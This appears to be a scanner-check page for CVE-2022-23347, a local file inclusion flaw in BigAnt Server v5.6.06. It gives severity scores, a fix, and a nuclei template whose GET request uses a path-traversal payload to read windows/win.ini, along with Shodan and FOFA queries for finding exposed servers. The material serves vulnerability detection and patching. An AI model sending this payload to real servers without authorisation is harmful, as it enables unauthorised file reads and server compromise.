BigAnt Server v5.6.06 - Local File Inclusion

highseverity

7.5CVSS score

13.5%likelihood of exploitation, next 30 days

96%of all CVEs are less likely

Readycheck to confirm it

BigAnt Server v5.6.06 is vulnerable to local file inclusion.

Impact

Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the server.

Fix

Apply the latest patch or update provided by the vendor to fix the LFI vulnerability in BigAnt Server v5.6.06.

How to confirm it

Send: GET {{BaseURL}}/index.php/Pan/ShareUrl/downloadSharedFile?true_path=../../../../../../windows/win.ini&file_name=win.ini
Positive when: contains "bit app support" and "fonts" and "extensions" AND status 200

Run it with nuclei: nuclei -id CVE-2022-23347 -u <target>

The full check

id: CVE-2022-23347

info:
  name: BigAnt Server v5.6.06 - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: BigAnt Server v5.6.06 is vulnerable to local file inclusion.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the server.
  remediation: |
    Apply the latest patch or update provided by the vendor to fix the LFI vulnerability in BigAnt Server v5.6.06.
  reference:
    - https://github.com/bzyo/cve-pocs/tree/master/CVE-2022-23347
    - https://nvd.nist.gov/vuln/detail/CVE-2022-23347
    - http://bigant.com
    - https://www.bigantsoft.com/
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-23347
    cwe-id: CWE-22
    epss-score: 0.13483
    epss-percentile: 0.96472
    cpe: cpe:2.3:a:bigantsoft:bigant_server:5.6.06:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: bigantsoft
    product: bigant_server
    shodan-query:
      - http.html:"BigAnt"
      - http.html:"bigant"
    fofa-query: body="bigant"
  tags: cve,cve2022,bigant,lfi,bigantsoft,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php/Pan/ShareUrl/downloadSharedFile?true_path=../../../../../../windows/win.ini&file_name=win.ini"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "bit app support"
          - "fonts"
          - "extensions"
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from